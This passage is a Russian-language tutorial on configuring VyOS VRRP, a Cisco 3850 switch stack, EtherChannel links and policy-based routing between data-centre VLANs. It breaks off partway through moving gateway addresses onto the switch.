* **VLAN30** – сеть 172.16.1.0/24, «публичная» сеть, связь между **VyOS1**, **VyOS2** и **Provider-1**
* **VLAN31** – сеть 172.16.2.0/24, «публичная» сеть, связь между **VyOS2**, **VyOS1** и **Provider-2**
* **VLAN32** – сеть 172.20.32.0/23, приватные адреса для хостов в датацентре – PROD
* **VLAN33** – сеть 172.20.133.0/24, приватные адреса для связи между **VyOS2**, **VyOS1** и **3850**
* **VLAN34** – сеть 172.20.34.0/24, приватные адреса для хостов в датацентре – DEV
* **VLAN35** – сеть 172.20.35.0/24, приватные адреса для хостов в датацентре – DMZ
* **VLAN36** – сеть 172.16.10.8/30, «публичная» P2P сеть, связь между роутерами **Provider-1** и **Provider-3**
* **VLAN37** – сеть 172.16.10.12/30, «публичная» P2P сеть, связь между роутерами **Provider-2** и **Provider-3**
* **VLAN38** – сеть 172.16.3.0/24, «публичная» сеть для внешних хостов, эмуляция Интернет
* **VLAN40** – сеть 172.20.40.0/23, приватные адреса для хостов в датацентре – TEST-
### Подготовительные работы
Для тестирования межсетевого взаимодействия, на кластере oVirt понадобится создать три новые логические сети – VLAN33, VLAN34, VLAN35, а также виртуальные машины с CentOS 7 x86/64 1810 Minimal (можно более свежую):
1. **test-IM34** – 1 Gb RAM, 1 CPU, 10 Gb HDD
* VLAN34, IP – 172.20.34.239/24, Gateway – 172.20.34.1
2. **test-IM35** – 1 Gb RAM, 1 CPU, 10 Gb HDD
* VLAN35, IP – 172.20.35.239/24, Gateway – 172.20.35.1
После подключения этих двух ВМ к соответствующим логическим сетям, устанавливаем на них ОС, и настраиваем IP адреса и шлюзы.
На маршрутизаторах VyOS должны быть добавлены новые сетевые интерфейсы для работы с VLAN34 и VLAN35, а также настроен vrrp и HAIP для этих новых сетей.
**Настройка VyOS1**
```
set interfaces ethernet eth5 address '172.20.34.253/24'
set interfaces ethernet eth5 description 'VLAN34'
set interfaces ethernet eth6 address '172.20.35.253/24'
set interfaces ethernet eth6 description 'VLAN35'
set high-availability vrrp group haip-4 vrid 40
set high-availability vrrp group haip-4 interface eth5
set high-availability vrrp group haip-4 virtual-address 172.20.34.1/24
set high-availability vrrp group haip-4 priority '200'
set high-availability vrrp group haip-4 authentication type 'plaintext-password'
set high-availability vrrp group haip-4 authentication password 'b65495f9'
set high-availability vrrp group haip-4 preempt 2
set high-availability vrrp group haip-4 advertise-interval '1'
set high-availability vrrp group haip-5 vrid 40
set high-availability vrrp group haip-5 interface eth6
set high-availability vrrp group haip-5 virtual-address 172.20.35.1/24
set high-availability vrrp group haip-5 priority '200'
set high-availability vrrp group haip-5 authentication type 'plaintext-password'
set high-availability vrrp group haip-5 authentication password 'b65495f9'
set high-availability vrrp group haip-5 preempt 2
set high-availability vrrp group haip-5 advertise-interval '1'
commit
```
**Настройка VyOS2**
```
set interfaces ethernet eth5 address '172.20.34.254/24'
set interfaces ethernet eth5 description 'VLAN34'
set interfaces ethernet eth6 address '172.20.35.254/24'
set interfaces ethernet eth6 description 'VLAN35'
set high-availability vrrp group haip-4 vrid 40
set high-availability vrrp group haip-4 interface eth5
set high-availability vrrp group haip-4 virtual-address 172.20.34.1/24
set high-availability vrrp group haip-4 priority '199'
set high-availability vrrp group haip-4 authentication type 'plaintext-password'
set high-availability vrrp group haip-4 authentication password 'b65495f9'
set high-availability vrrp group haip-4 preempt 2
set high-availability vrrp group haip-4 advertise-interval '1'
set high-availability vrrp group haip-5 vrid 40
set high-availability vrrp group haip-5 interface eth6
set high-availability vrrp group haip-5 virtual-address 172.20.35.1/24
set high-availability vrrp group haip-5 priority '199'
set high-availability vrrp group haip-5 authentication type 'plaintext-password'
set high-availability vrrp group haip-5 authentication password 'b65495f9'
set high-availability vrrp group haip-5 preempt 2
set high-availability vrrp group haip-5 advertise-interval '1'
commit
```
### Установка и настройка стека коммутаторов Cisco 3850
Основной интерес на схеме выше, для нас представляет Cisco 3850, который является логическим устройством, состоящим из двух физических коммутаторов – [WS-C3850-24T-E, 24 x 1 GE, 350 W no PoE, 4 x 1 GE, 2 x 10 GE](https://www.cisco.com/c/ru_ru/support/switches/catalyst-3850-24t-e-switch/model.html), соединённых:
* посредством двух кабелей [STACK-T1-50CM=](https://www.cisco.com/c/en/us/products/collateral/switches/catalyst-3850-series-switches/product_bulletin_c25-720777.html) в кольцо [**StackWise**](https://www.cisco.com/c/en/us/products/collateral/switches/catalyst-3850-series-switches/white-paper-c11-734429.html), с общей пропускной способностью стека в 480 Гбит/сек,
* посредством двух кабелей [CAB-SPWR-30CM=](https://www.cisco.com/c/en/us/products/collateral/switches/catalyst-3850-series-switches/product_bulletin_c25-720777.html) в кольцо [**StackPower**](https://www.cisco.com/c/en/us/td/docs/switches/lan/catalyst3850/software/release/37e/consolidated_guide/b_37e_consolidated_3850_cg/configuring_stack_power.html), в котором мощность всех четырёх БП может или суммироваться для создания одного виртуального блока питания и разделения общей нагрузки, или же резервируется мощность одного из БП, для увеличения отказоустойчивости.
**Последовательность действий по начальной установке и настройке стека коммутаторов Cisco 3850**
**1)** Монтаж коммутаторов в стойку, коммутация между собой для создания стека.
Как установить коммутаторы в стойку, подключить к ним питание и соединить между собой специальными кабелями для создания стека посредством [**StackWise**](https://www.cisco.com/c/en/us/products/collateral/switches/catalyst-3850-series-switches/white-paper-c11-734429.html) и [**StackPower**](https://www.cisco.com/c/en/us/td/docs/switches/lan/catalyst3850/software/release/37e/consolidated_guide/b_37e_consolidated_3850_cg/configuring_stack_power.html), подробно и наглядно описано в официальной документации – [Catalyst 3850 Switch Getting Started Guide](https://www.cisco.com/c/en/us/td/docs/switches/lan/catalyst3850/hardware/quick/guide/cat3850_gsg.html).
Важно учитывать, что для настройки и поддержки технологий [**StackWise**](https://www.cisco.com/c/en/us/products/collateral/switches/catalyst-3850-series-switches/white-paper-c11-734429.html) и [**StackPower**](https://www.cisco.com/c/en/us/td/docs/switches/lan/catalyst3850/software/release/37e/consolidated_guide/b_37e_consolidated_3850_cg/configuring_stack_power.html) имеются определённые требования, основными из которых являются:
* использование (желательное) в стеке одинаковых моделей коммутаторов;
* использование одинаковых версий ПО и лицензий на коммутаторах.
Также для того, чтобы задействовать для стека полнофункциональные сервисы на уровне L3, необходимо иметь определённый тип лицензии. В нашем случае будет использоваться PBR (policy based routing), поэтому на оба коммутатора была заранее установлена постоянная лицензия типа **IP Services**.
**Для общей информации, отличия лицензий друг от друга*** **LAN Base**
Функции коммутации второго уровня;
Статическая маршрутизация;
Базовая поддержка средств безопасности: порт ACL, 802.1x, DHCP snooping, DAI, IPSG;
Базовая поддержка качества обслуживания: Ingress policing, AutoQoS, Trust Boundary, DSCP mapping.
* **IP Base**
Все функции коммутации второго уровня;
Статическая маршрутизация;
Полная поддержка средств безопасности;
Полная поддержка качества обслуживания;
Mobility controller и Flexible NetFlow (доступно для 3650/3850);
StackPower и EEM.
* **IP Services**
Все функции коммутации второго уровня;
Динамическая и статическая маршрутизация (PBR, EIGRP, OSPF, BGP, VRF-lite и т.д.);
Полная поддержка средств безопасности;
Полная поддержка качества обслуживания;
Mobility controller и Flexible NetFlow (доступно для 3650/3850);
StackPower, EEM, IPSLA.
**2)** Подключение к коммутатору 3850 через консольный порт и выполнение начальной настройки.
Вся информация по приводимым в статье настройкам, командам и их функциям, доступна в основных справочных руководствах:
* [Software Configuration Guide, Cisco IOS XE Everest 16.6.x (Catalyst 3850 Switches)](https://www.cisco.com/c/en/us/td/docs/switches/lan/catalyst3850/software/release/16-6/configuration_guide/b-166-3850-cg.html)
* [Command Reference, Cisco IOS XE Everest 16.6.x (Catalyst 3850 Switches)](https://www.cisco.com/c/en/us/td/docs/switches/lan/catalyst3850/software/release/16-6/command_reference/b_166_3850_cr.html)
* полный список всех команд, находится по ссылке – [Command References](https://www.cisco.com/c/en/us/support/switches/catalyst-3850-series-switches/products-command-reference-list.html)
Подключиться к консольному порту коммутатора можно через специальные USB или RJ-45 порты, настройки программы для эмуляции терминала должны быть такими: *9600 baud*, *8 data bits*, *no parity*, *1 stop bit*, *no flow control*.
Если ПК администратора работает под Windows, то для эмуляции терминала можно использовать [Putty](https://www.putty.org/), если под Linux, то [minicom](https://en.wikipedia.org/wiki/Minicom).
После подключения к терминальному порту устройства, выполняем базовую настройку стека коммутаторов:
**Вначале проверяем версию ПО, модели коммутаторов в стеке и установленную на них лицензию**
```
sh ver | beg Switch Ports Model
Switch Ports Model SW Version SW Image Mode
------ ----- ----- ---------- ---------- ----
* 1 32 WS-C3850-24T 16.6.7 CAT3K_CAA-UNIVERSALK9 INSTALL
2 32 WS-C3850-24T 16.6.7 CAT3K_CAA-UNIVERSALK9 INSTALL
sh license right-to-use
Slot# License Name Type Period left
----------------------------------------------------
1 ipservices Permanent Lifetime
----------------------------------------------------
License Level on Reboot: ipservices
Slot# License Name Type Period left
----------------------------------------------------
2 ipservices Permanent Lifetime
----------------------------------------------------
License Level on Reboot: ipservices
```
**Далее выполняем базовую настройку стека**
```
enable
switch 1 priority 15
switch 2 priority 14
conf t
hostname 3850-stack
no ip domain-lookup
no service pad
service timestamps debug datetime msec
service timestamps log datetime localtime show-timezone msec
no service password-encryption
service sequence-numbers
logging buffered 16384
stack-mac persistent timer 0
stack-power stack Powerstack-1
mode redundant
clock timezone MSK 3
vtp mode transparent
ip subnet-zero
spanning-tree mode rapid-pvst
spanning-tree etherchannel guard misconfig
spanning-tree extend system-id
spanning-tree vlan 1,17,30-40 root primary
spanning-tree loopguard default
port-channel load-balance src-dst-ip
errdisable recovery cause bpduguard
errdisable recovery cause loopback
errdisable recovery interval 60
line con 0
session-timeout 60
exec-timeout 60 0
logging synchronous
line vty 5 15
session-timeout 60
exec-timeout 60 0
logging synchronous
ip http server
ip http secure-server
exit
wr mem
reload
```
**После перезагрузки коммутатора, проверяем параметры стека**
```
3850-stack>enable
3850-stack#show switch detail
Switch/Stack Mac Address : b090.7ebd.ХХХХ - Local Mac Address
Mac persistency wait time: Indefinite
H/W Current
Switch# Role Mac Address Priority Version State
-------------------------------------------------------------------------------------
*1 Active b090.7ebd.ХХХХ 15 V02 Ready
2 Standby b090.7ef3.ХХХХ 14 V02 Ready
Stack Port Status Neighbors
Switch# Port 1 Port 2 Port 1 Port 2
--------------------------------------------------------
1 OK OK 2 2
2 OK OK 1 1
3850-stack#show switch stack-ring speed
Stack Ring Speed : 480G
Stack Ring Configuration: Full
Stack Ring Protocol : StackWise
3850-stack#show switch stack-ports
Switch# Port1 Port2
----------------------------
1 OK OK
2 OK OK
3850-stack#show switch neighbors
Switch # Port 1 Port 2
-------- ------ ------
1 2 2
2 1 1
3850-stack#show stack-power
Power Stack Stack Stack Total Rsvd Alloc Sw_Avail Num Num
Name Mode Topolgy Pwr(W) Pwr(W) Pwr(W) Pwr(W) SW PS
-------------------- ------ ------- ------ ------ ------ ------ ----- ----
Powerstack-1 SP-R Ring 1400 380 460 560 2 4
3850-stack#show stack-power detail
Power Stack Stack Stack Total Rsvd Alloc Sw_Avail Num Num
Name Mode Topolgy Pwr(W) Pwr(W) Pwr(W) Pwr(W) SW PS
-------------------- ------ ------- ------ ------ ------ ------ ----- ----
Powerstack-1 SP-R Ring 1400 380 460 560 2 4
Power stack name: Powerstack-1
Stack mode: Redundant
Stack topology: Ring
Switch 1:
Power budget: 230
Power allocated: 230
Low port priority value: 21
High port priority value: 12
Switch priority value: 3
Port 1 status: Connected
Port 2 status: Connected
Neighbor on port 1: Switch 2 - b090.7ef3.ХХХХ
Neighbor on port 2: Switch 2 - b090.7ef3.ХХХХ
Switch 2:
Power budget: 230
Power allocated: 230
Low port priority value: 22
High port priority value: 13
Switch priority value: 4
Port 1 status: Connected
Port 2 status: Connected
Neighbor on port 1: Switch 1 - b090.7ebd.ХХХХ
Neighbor on port 2: Switch 1 - b090.7ebd.ХХХХ
3850-stack#show stack-power neighbors
Power Stack Stack Stack Total Rsvd Alloc Sw_Avail Num Num
Name Mode Topolgy Pwr(W) Pwr(W) Pwr(W) Pwr(W) SW PS
-------------------- ------ ------- ------ ------ ------ ------ ----- ----
Powerstack-1 SP-R Ring 1400 380 460 560 2 4
Power Stack Port 1 Port 1 Port 2 Port 2
SW Name Status Neighbor SW:MAC Status Neighbor SW:MAC
-- -------------------- ------ ---------------- ------ ----------------
1 Powerstack-1 Conn 2:b090.7ef3.ХХХХ Conn 2:b090.7ef3.ХХХХ
2 Powerstack-1 Conn 1:b090.7ebd.ХХХХ Conn 1:b090.7ebd.ХХХХ
3850-stack#sh env all
Switch 1 FAN 1 is OK
Switch 1 FAN 2 is OK
Switch 1 FAN 3 is OK
FAN PS-1 is OK
FAN PS-2 is OK
Switch 2 FAN 1 is OK
Switch 2 FAN 2 is OK
Switch 2 FAN 3 is OK
FAN PS-1 is OK
FAN PS-2 is OK
Switch 1: SYSTEM TEMPERATURE is OK
Inlet Temperature Value: 20 Degree Celsius
Temperature State: GREEN
Yellow Threshold : 46 Degree Celsius
Red Threshold : 56 Degree Celsius
Hotspot Temperature Value: 39 Degree Celsius
Temperature State: GREEN
Yellow Threshold : 105 Degree Celsius
Red Threshold : 125 Degree Celsius
Switch 2: SYSTEM TEMPERATURE is OK
Inlet Temperature Value: 20 Degree Celsius
Temperature State: GREEN
Yellow Threshold : 46 Degree Celsius
Red Threshold : 56 Degree Celsius
Hotspot Temperature Value: 38 Degree Celsius
Temperature State: GREEN
Yellow Threshold : 105 Degree Celsius
Red Threshold : 125 Degree Celsius
SW PID Serial# Status Sys Pwr PoE Pwr Watts
-- ------------------ ---------- ---------- ------- ------- -----
1A PWR-C1-350WAC ART2244F8ХХ OK Good Good 350
1B PWR-C1-350WAC ART2248FLХХ OK Good Good 350
2A PWR-C1-350WAC ART2244F9ХХ OK Good Good 350
2B PWR-C1-350WAC ART2248FLХХ OK Good Good 350
```
**Если всё выглядит нормально, то продолжаем его настройку - добавляем необходимые VLAN'ы, включаем ssh, настраиваем IP адрес для удалённого управления, и т.п.**
```
enable
conf t
vlan 17
name 172.20.1.0/24
vlan 32
name 172.20.32.0/23
vlan 33
vlan 34
name 172.20.34.0/24
vlan 35
name 172.20.35.0/24
vlan 36
vlan 37
vlan 38
vlan 39
vlan 40
name 172.20.40.0/23
interface Vlan1
no ip address
shutdown
exit
interface vlan 17
ip address 172.20.1.2 255.255.255.0
crypto key generate rsa
ip ssh version 2
ip ssh time-out 90
line vty 0 4
session-timeout 60
exec-timeout 60 0
privilege level 15
logging synchronous
transport input ssh
line vty 5 15
session-timeout 60
exec-timeout 60 0
privilege level 15
logging synchronous
transport input ssh
snmp-server community Public RO
snmp-server location Moscow, Russia
aaa new-model
aaa authentication login default local
username cisco privilege 15 secret mysecretpassword
enable secret myenablepassword
service password-encryption
ntp server 85.21.78.8 prefer
ntp server 89.221.207.113
ntp server 185.22.60.71
ntp server 192.36.143.130
ntp server 185.209.85.222
exit
wr mem
```
На этом создание стека коммутаторов Cisco 3850 и его начальная настройка выполнены.
### Подключение стека коммутаторов Cisco 2960RХ к стеку Cisco 3850
Чтобы обеспечить связность на уровне L2 между стеком коммутаторов Cisco 2960RХ и стеком Cisco 3850, подключаем их друг к другу патч-кордами нужной длины, и далее настраиваем Etherchannel:
**2960X** Gi1/0/42 <-> **3850-stack** Gi1/0/21
**2960X** Gi2/0/42 <-> **3850-stack** Gi1/0/23
**2960X** Gi1/0/44 <-> **3850-stack** Gi2/0/21
**2960X** Gi2/0/44 <-> **3850-stack** Gi2/0/23
**Выполняем настройку Etherchannel на стеке коммутаторов Cisco 2960RХ**
```
enable
conf t
interface Port-channel 9
description Channel->3850-stack
switchport trunk allowed vlan 1,17,30-40
switchport mode trunk
spanning-tree link-type point-to-point
interface GigabitEthernet1/0/44
shut
description Channel -> 3850-stack Gi1/0/21
switchport trunk allowed vlan 1,17,30-40
switchport mode trunk
spanning-tree link-type point-to-point
channel-group 9 mode active
interface GigabitEthernet1/0/48
shut
description Channel -> 3850-stack Gi2/0/21
switchport trunk allowed vlan 1,17,30-40
switchport mode trunk
spanning-tree link-type point-to-point
channel-group 9 mode active
interface GigabitEthernet2/0/44
shut
description Channel -> 3850-stack Gi1/0/23
switchport trunk allowed vlan 1,17,30-40
switchport mode trunk
spanning-tree link-type point-to-point
channel-group 9 mode active
interface GigabitEthernet2/0/48
shut
description Channel -> 3850-stack Gi2/0/23
switchport trunk allowed vlan 1,17,30-40
switchport mode trunk
spanning-tree link-type point-to-point
channel-group 9 mode active
exit
wr mem
```
**Выполняем настройку Etherchannel на стеке коммутаторов Cisco 3850**
```
enable
conf t
interface Port-channel 2
description Channel -> 2960X-stack1
switchport trunk allowed vlan 1,17,30-40
switchport mode trunk
spanning-tree link-type point-to-point
interface GigabitEthernet1/0/21
description Channel -> 2960X-stack1 Gi1/0/44
switchport trunk allowed vlan 1,17,30-40
switchport mode trunk
channel-group 2 mode active
no shut
interface GigabitEthernet1/0/23
description Channel -> 2960X-stack1 Gi2/0/44
switchport trunk allowed vlan 1,17,30-40
switchport mode trunk
channel-group 2 mode active
no shut
interface GigabitEthernet2/0/21
description Channel -> 2960X-stack1 Gi1/0/48
switchport trunk allowed vlan 1,17,30-40
switchport mode trunk
channel-group 2 mode active
no shut
interface GigabitEthernet2/0/23
description Channel -> 2960X-stack1 Gi2/0/48
switchport trunk allowed vlan 1,17,30-40
switchport mode trunk
channel-group 2 mode active
no shut
exit
wr mem
```
**Проверяем, поднялся ли Etherchannel между стеками 2960х и 3850-stack**
```
3850-stack#sh etherchannel summary | beg Po2
Flags: D - down P - bundled in port-channel
I - stand-alone s - suspended
H - Hot-standby (LACP only)
R - Layer3 S - Layer2
U - in use f - failed to allocate aggregator
M - not in use, minimum links not met
u - unsuitable for bundling
w - waiting to be aggregated
d - default port
A - formed by Auto LAG
2 Po2(SU) LACP Gi1/0/21(P) Gi1/0/23(P) Gi2/0/21(P)
Gi2/0/23(P)
3850-stack#show lacp internal | beg Channel group 2
Flags: S - Device is requesting Slow LACPDUs
F - Device is requesting Fast LACPDUs
A - Device is in Active mode P - Device is in Passive mode
Channel group 2
LACP port Admin Oper Port Port
Port Flags State Priority Key Key Number State
Gi1/0/21 SA bndl 32768 0x2 0x2 0x116 0x3D
Gi1/0/23 SA bndl 32768 0x2 0x2 0x118 0x3D
Gi2/0/21 SA bndl 32768 0x2 0x2 0x216 0x3D
Gi2/0/23 SA bndl 32768 0x2 0x2 0x218 0x3D
```
Если имеются какие-то проблемы, то обязательно смотрим логи на обоих коммутаторах:
```
sh logging
```
После того, как поднимется Etherchanel между коммутаторами, к Cisco 3850 можно будет подключиться, например, с любого маршрутизатора VyOS на IP адрес 172.20.1.2 по **ssh**.
### Принципы настройки маршрутизации между внутренними и внешними сетями
Для настройки маршрутизации между внутренними и внешними сетями, у нас имеется как минимум два варианта.
**Вариант 1**
Реализуется с помощью destination-based маршрутизации, т.е. решение о том, куда трафик будет направлен, принимается на основании имеющихся маршрутов в таблице маршрутизации коммутатора 3-го уровня. В таблицу маршрутизации данные маршруты (или маршрут по умолчанию) могут попадать или из статически настроенных маршрутов, или из динамических протоколов маршрутизации.
Для его внедрения придётся переделывать внутреннюю маршрутизацию на роутерах VyOS:
* убирать интерфейсы к внутренним сетям,
* настраивать связь между VyOS и внутренними сетями, или с помощью протокола динамической маршрутизации, или используя статический маршрут к ним через Cisco 3850.
Пример реализации этого варианта с использованием динамической маршрутизации, можно посмотреть в примечании к этой статье, в самом низу. При его настройке нужно иметь в виду, что процесс его внедрения предполагает перерыв в работе внутренних сетей из-за изменения конфигурации VyOS.
**Вариант 2**
Реализация происходит с помощью source-based маршрутизации, т.е. решение о том, куда трафик будет направлен, принимается в первую очередь на основании информации об источнике трафика, а далее уже определяется пункт назначения, куда конкретно этот трафик направляется. Здесь на VyOS практически ничего менять не надо, а вся внутренняя маршрутизация будет происходить на стеке Cisco 3850 с помощью **PBR** (policy based routing). Помимо относительной простоты реализации, этот вариант позволит исключить полный отказ стека Cisco 3850, когда трафик между внутренними сетями может быть переброшен обратно на роутеры VyOS.
### Организация маршрутизации между внутренними и внешними сетями с использованием PBR (policy based routing)
Ссылки на справочную документацию:
* [Chapter: Configuring IP Unicast Routing](https://www.cisco.com/c/en/us/td/docs/switches/lan/catalyst3850/software/release/16-6/configuration_guide/b_166_rtng_3850_cg/b_166_rtng_3850_cg_chapter_010.html)
* [Protocol-Independent Features](https://www.cisco.com/c/en/us/td/docs/switches/lan/catalyst3850/software/release/16-6/configuration_guide/b_166_rtng_3850_cg/b_166_rtng_3850_cg_chapter_010.html#ID7327)
* [Policy-Based Routing](https://www.cisco.com/c/en/us/td/docs/switches/lan/catalyst3850/software/release/16-6/configuration_guide/b_166_rtng_3850_cg/b_166_rtng_3850_cg_chapter_010.html#ID8123)
* [IP Routing: Protocol-Independent Configuration Guide, Cisco IOS XE Everest 16.5](https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/iproute_pi/configuration/xe-16-5/iri-xe-16-5-book.html)
* [Chapter: Policy-Based Routing](https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/iproute_pi/configuration/xe-16-5/iri-xe-16-5-book/iri-pbr.html)
**Включаем простую маршрутизацию между VLAN'ами на стеке Cisco 3850, настраиваем адреса для SVI (Switch Virtual Interface)**
```
enable
conf t
ip routing
interface Vlan17
ip address 172.20.1.2 255.255.255.0
interface Vlan32
ip address 172.20.32.2 255.255.254.0
interface Vlan34
ip address 172.20.34.2 255.255.255.0
interface Vlan35
ip address 172.20.35.2 255.255.255.0
interface Vlan40
ip address 172.20.40.2 255.255.254.0
exit
wr mem
```
Если мы сейчас подключим хосты к вышеуказанным сетям, и назначим у них шлюзами соответствующие адреса SVI, то между хостами в разных сетях сразу же пойдёт трафик. Но из этих сетей нам также нужно выходить в Интернет и подключаться к внешним сетям, что мы и реализуем далее с помощью PBR (policy-based routing).
**Disclaimer**PBR имеет свои пределы применимости, и места для применения, и в этом конкретном случае был выбран в силу того, что его использование даёт возможность пережить полный отказ стека 3850 почти безболезненно. В нашем случае для обеспечения отказоустойчивости внутренней межсетевой маршрутизации, к сожалению, нет второго стека 3850, поэтому в качестве основного, был выбран вариант с PBR, который позволяет:
* перенести обработку внутреннего межсетевого трафика на стек 3850, не переделывая схему работы роутеров VyOS с внутренними сетями;
* в случае полного отказа стека 3850 возможно перенести обработку внутреннего межсетевого трафика обратно на роутеры VyOS, изменив для этого только их HAIP адреса для vrrp.
Это решение:
* может быть применимо только для небольшого количества внутренних сетей, так как ресурсы коммутатора ограниченны и количество строк в PBR имеет свой лимит;
* вряд ли имеет смысл использовать, при наличии более чем одного датацентра, из-за overhead'а в ручной настройке политик маршрутизации и сложностей в поиске и устранении ошибок по мере дальнейшего роста сетей.
* настраивается только вручную, при этом можно легко выйти за пределы лимитов при росте количества сетей или правил обработки трафика, особенно если слабо контролировать этот процесс;
* из-за некорректных настроек, может привести к возникновению асимметричной маршрутизации, особенно в больших сетях.
Используйте его на свой страх и риск, учитывая все эти замечания
Если после прочтения этого disclaimer'а вас всё устраивает, то переходим к реализации межсетевой маршрутизации между внутренними и внешними сетями, настраиваемого с помощью PBR на стеке 3850. Если не устраивает, то можно перейти в конец статьи, к примечанию, и далее настраивать классический вариант маршрутизации с использованием протокола OSPF.
**Настраиваем PBR на Cisco 3850, для исходящего трафика к внешним сетям**
```
enable
conf t
ip access-list extended Access_to_External
permit ip any 0.0.0.0 127.255.255.255
permit ip any 128.0.0.0 31.255.255.255
permit ip any 160.0.0.0 7.255.255.255
permit ip any 168.0.0.0 3.255.255.255
permit ip any 172.0.0.0 0.15.255.255
permit ip any 172.16.0.0 0.3.255.255
permit ip any 172.20.0.0 0.0.0.255
permit ip any 172.20.2.0 0.0.1.255
permit ip any 172.20.4.0 0.0.3.255
permit ip any 172.20.8.0 0.0.7.255
permit ip any 172.20.16.0 0.0.15.255
permit ip any 172.20.36.0 0.0.3.255
permit ip any 172.20.42.0 0.0.1.255
permit ip any 172.20.44.0 0.0.3.255
permit ip any 172.20.48.0 0.0.15.255
permit ip any 172.20.64.0 0.0.63.255
permit ip any 172.20.128.0 0.0.127.255
permit ip any 172.21.0.0 0.0.255.255
permit ip any 172.22.0.0 0.1.255.255
permit ip any 172.24.0.0 0.7.255.255
permit ip any 172.32.0.0 0.31.255.255
permit ip any 172.64.0.0 0.63.255.255
permit ip any 172.128.0.0 0.127.255.255
permit ip any 173.0.0.0 0.255.255.255
permit ip any 174.0.0.0 1.255.255.255
permit ip any 176.0.0.0 15.255.255.255
permit ip any 192.0.0.0 31.255.255.255
route-map VLAN17PBR permit 10
match ip address Access_to_External
set ip next-hop 172.20.1.1
route-map VLAN32PBR permit 10
match ip address Access_to_External
set ip next-hop 172.20.32.1
route-map VLAN34PBR permit 10
match ip address Access_to_External
set ip next-hop 172.20.34.1
route-map VLAN35PBR permit 10
match ip address Access_to_External
set ip next-hop 172.20.35.1
route-map VLAN40PBR permit 10
match ip address Access_to_External
set ip next-hop 172.20.40.1
interface Vlan17
ip policy route-map VLAN17PBR
ip route-cache policy
interface Vlan32
ip policy route-map VLAN32PBR
ip route-cache policy
interface Vlan34
ip policy route-map VLAN34PBR
ip route-cache policy
interface Vlan35
ip policy route-map VLAN35PBR
ip route-cache policy
interface Vlan40
ip policy route-map VLAN40PBR
ip route-cache policy
exit
wr mem
```
Как видно, из списка доступа **Access\_to\_External**, были исключены внутренние сети:
```
172.20.1.0/24
172.20.32.0/23
172.20.34.0/24
172.20.35.0/24
172.20.40.0/23
```
Теперь, если у хостов из вышеуказанных внутренних сетей назначить шлюзами соответствующие адреса SVI, то трафик пойдёт не только между хостами в разных сетях, но и из этих внутренних сетей можно будет выходить в Интернет и подключаться к внешним сетям.
Не забываем, что мы ранее создали пять тестовых ВМ, подключенных ко всем пяти внутренним сетям, и поэтому на них рекомендуется изменить шлюзы по умолчанию на адреса SVI на Cisco 3850, и протестировать прохождение трафика как между самими ВМ, так и выход трафика наружу.
При желании, можно также настроить списки доступа на Cisco 3850, для ограничения прохождения трафика между внутренними сетями, но нужно иметь в виду, что существуют определённые ограничения для количества записей в списках ACL, PBR, QoS и др., которые можно увидеть из следующего вывода:
```
3850-stack#show platform hardware fed switch active fwd-asic resource tcam utilization
CAM Utilization for ASIC [0]
Table Max Values Used Values
--------------------------------------------------------------------------------
Unicast MAC addresses 32768/512 429/22
L3 Multicast entries 4096/512 0/7
L2 Multicast entries 4096/512 0/9
Directly or indirectly connected routes 16384/7168 477/23
QoS Access Control Entries 2560 86
Security Access Control Entries 3072 133
Netflow ACEs 768 15
Policy Based Routing ACEs 1024 134
Flow SPAN ACEs 512 5
Output Flow SPAN ACEs 512 8
Control Plane Entries 512 208
Tunnels 256 17
Lisp Instance Mapping Entries 256 3
Input Security Associations 256 4
Output Security Associations and Policies 256 5
SGT_DGT 4096/512 0/1
CLIENT_LE 4096/256 0/0
INPUT_GROUP_LE 6144 0
OUTPUT_GROUP_LE 6144 0
Macsec SPD 256 2
```
Очень важным моментом является дальнейший мониторинг загрузки процессора и памяти коммутатора L3, т.к. на него возлагается как фильтрация пакетов с помощью ACL применяемых к SVI (опционально), так и обработка PBR, также применяемых к SVI. Полезные команды, которые могут в этом помочь:
```
sh processes | inc CPU
sh processes cpu sort | exclude 0.00
sh processes cpu history
sh ip route summary
sh memory summary
sh route-map (число счётчиков пакетов и байтов должно быть ноль, или около него)
```
В дальнейшей работе не помешает знать, что нужно делать, например, в случае высокой утилизации процессора на коммутаторе, для этого имеется специальный раздел в документации – [Troubleshooting TechNotes](https://www.cisco.com/c/en/us/support/switches/catalyst-3850-series-switches/products-tech-notes-list.html).
Рекомендуется настроить мониторинг утилизации процессоров, памяти и сетевых интерфейсов стека коммутаторов Cisco 3850, с помощью [Zabbix](https://www.zabbix.com/). В Интернете можно без труда найти необходимые для этого шаблоны.
### Перевод внутренней межсетевой маршрутизации с VyOS'ов на стек Cisco 3850
В принципе, дойдя до этого места в статье, можно считать нашу задачу практически выполненной, и даже оставить всё как есть, постепенно переведя шлюзы по умолчанию для хостов и ВМ с адресов типа 172.20.х.1 на адреса 172.20.х.2 – этот метод можно использовать, если у нас в наличии сравнительно небольшое количество хостов и виртуальных машин.
Если в сети имеется большое количество ВМ и хостов, то как вариант, можно массово изменить на них адреса шлюзов по умолчанию, используя, например, [Ansible](https://www.ansible.com/), или даже исполняя команды на хостах и ВМ удалённо через **ssh**.
Но наиболее простым и быстрым способом, является изменение IP адресов на SVI коммутатора Сisco 3850 и HAIP адресов, привязанных к внутренним интерфейсам на роутерах VyOS.
Для перехода на межсетевую маршрутизацию через Сisco 3850, без изменения адресов шлюзов на хостах и ВМ, нужно просто поочередно перенести IP адреса шлюзов сетей VLAN 17, 32, 34, 35, 40 (или 172.20.1.1, 172.20.32.1, 172.20.34.1, 172.20.35.1, 172.20.40.1) с роутеров VyOS на Сisco 3850.
Соответственно, адреса 172.20.1.2, 172.20.32.2, 172.20.34.2, 172.20.35.2, 172.20.40.2 с Сisco 3850 должны быть перенесены на роутеры VyOS.
Как это делается, можно увидеть на примере одной сети – 172.20.1.0/24, или VLAN 17, для этого необходимо лишь последовательно выполнить определённый набор команд на устройствах.
Итак, выполняем перевод IP адреса шлюза 172.20.1.1 с VyOS на Сisco 3850, сеть VLAN17.
**Настройка стека 3850**
```
en
conf t
interface Vlan17
no ip address 172.20.1.2 255.255.255.0
no ip route-cache policy
no ip policy route-map VLAN17PBR
shut
exit
no route-map VLAN17PBR
```
**Настройка роутеров VyOS1/2**
```
configure
delete high-availability vrrp group haip-1 virtual-address '172.20.1.1/24'
set high-availability vrrp group haip-1 virtual-address '172.20.1.2/24'
commit
```
**Настройка стека 3850**
```
route-map VLAN17PBR permit 10
match ip address Access_to_External
set ip next-hop 172.20.1.2
interface Vlan17
ip address 172.20.1.1 255.255.255.0
